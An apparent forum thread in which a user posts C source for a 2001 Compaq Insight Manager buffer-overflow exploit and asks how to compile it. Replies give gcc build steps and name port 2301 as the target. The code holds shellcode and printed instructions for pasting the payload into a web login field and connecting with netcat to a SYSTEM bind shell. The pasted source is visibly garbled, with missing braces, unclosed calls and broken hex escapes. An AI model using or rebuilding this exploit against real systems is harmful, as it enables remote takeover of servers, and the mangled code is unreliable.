Results 1 to 3 of 3

Thread: .c files again

  1. #1

    .c files again

    I'm testing of we're vulnerable for some known compaq vulns so I need to take this text and make a program out of it, how should I do it-save to fale with .c extension and compile it?
    Here is the text:

    /* #include <windows.h> uncomment if compiling on Win32 */
    #include <stdio.h>

    int main(int argc, char **argv)

    unsigned char shellcode[] =

    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\\x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61 \x61\x61\x61\x61\x61"
    "\"\x0C\x7A\x1F\x5F\xD2\xEA\xAE\x7A\x1F\ x5F\xD2\xE2\x72\x79\x1F\x5F"
    "\xFA\xD2\xEA\xBA\x7A\x1F\x5F\xF2\xD2\xE2\x6E \x79\x1F\x5F\xF4\xD2"
    "\xE2\x6A\x79\x1F\x5F\xF4\xB8\xDA\x7A\x79\x1F \x5F\x5F\x5F\x5F\x5F"
    "\xB8\xDA\x7E\x79\x1F\x5F\x5E\x5E\x5F\x5F\xD2 \xEA\x66\x79\x1F\x5F"
    "\x09\xD2\xEA\xAA\x7A\x1F\x5F\x09\x35\x5F\x35 \x5F\x35\x4F\x35\x5E"
    "\x35\x5F\x35\x5F\xD2\xEA\x16\x79\x1F\x5F\x09 \x35\x5F\xA0\xCA\x64"
    "\x7A\x1F\x5F\x37\x5F\x7F\x5F\x5F\xCF\x37\x5F \x5D\x5F\x5F\xA0\xCA"
    "\x1C\x7A\x1F\x5F\xD6\xDA\x0E\x79\x1F\x5F\x6C \xBF\x0F\x1F\x0F\x1F"
    "\x0F\xA0\xCA\xA5\x7B\x1F\x5F\x0F\x04\x35\x4F \xD2\xEA\xB6\x7A\x1F"
    "\x5F\x09\x0C\xA0\xCA\xA1\x7B\x1F\x5F\x35\x5C \x0C\xA0\xCA\x5D\x7A"
    "\x1F\x5F\xD2\xEA\x2A\x79\x1F\x5F\x09\xD2\xEA \xB6\x7A\x1F\x5F\x09"
    "\x0C\xA0\xCA\x59\x7A\x1F\x5F\xD2\xE2\x06\x79 \x1F\x5F\xF4\x6C\xBF"
    "\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F \x5Fx5F\x5F\x5F\x5F"
    "\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F \x5Fx5F\x5F\x5F\x5F"
    "\x1C\x12\x1B\x71\x1A\x07\x1A\x5F\x5F\x5F\x5F \x5F\x4F\x5F\x5F\x5F"
    "\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F\x5F \x5Fx5F\x5F\x5F\x5F"

    FILE *fp;
    unsigned short int a_port;

    printf ("\nCompaq Insight Manager overflow
    launcher\nby Indigo <> 2001\n\n"
    printf ("This program will generate a binary file called
    printf ("Connect to the victim using a web browser
    printf ("Next to \'Login Account\', click on \'anonymous\'\n"
    printf ("Enter some random characters into the \'password\' field\n"
    printf ("Open exploit.bin in notepad, highlight it then copy to the clipboard\n"
    printf ("Paste the exploit into the \'Name\' field and click OK\n"
    printf ("\nLaunch netcat: nc <victim host> <victim port>\n"
    printf ("\nThe exploit spawns a SYSTEM shell on the chosen port\n\n"

    if (argc != 2)
    printf ("Usage: %s <victim port>\n", argv[0]);
    exit (0);

    a_port = htons(atoi(argv[1]));
    a_port^= 0x5f5f;

    shellcode[1650]= (a_port) & 0xff;
    shellcode[1651]= (a_port >> 8) & 0xff;

    fp = fopen ("./exploit.bin","wb"

    fputs (shellcode,fp);

    fclose (fp);

    return 0;


  2. #2

    Re: .c files again

    Yes, save it as a .c file and compile it. eg if compiling under Linux:

    gcc somename.c -o somename

    Then run the program like this

    ./somename 23

    The exploit.bin file will be created and some instructions will be displayed (yeah I can read )

    btw that's an example port number, I don't know which ports are vulnerable to the exploit.

  3. #3

    Re: .c files again

    P.S> 2301 should be the port-that's the compaq web-enabled agents.

Similar Threads

  1. log files
    By flandercan in forum Redhat / Fedora
    Replies: 8
    Last Post: 03-27-2003, 11:16 PM
  2. zip files
    By friskydrifter in forum Linux - Software, Applications & Programming
    Replies: 4
    Last Post: 11-24-2002, 09:20 PM
  3. Avi files
    By mugs in forum Linux - Software, Applications & Programming
    Replies: 5
    Last Post: 08-07-2002, 10:02 PM
  4. .c files
    By elovkoff in forum Linux - Hardware, Networking & Security
    Replies: 2
    Last Post: 05-16-2002, 07:06 PM
  5. files
    By linuxrookie in forum Linux - General Topics
    Replies: 3
    Last Post: 05-12-2002, 04:28 AM


Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts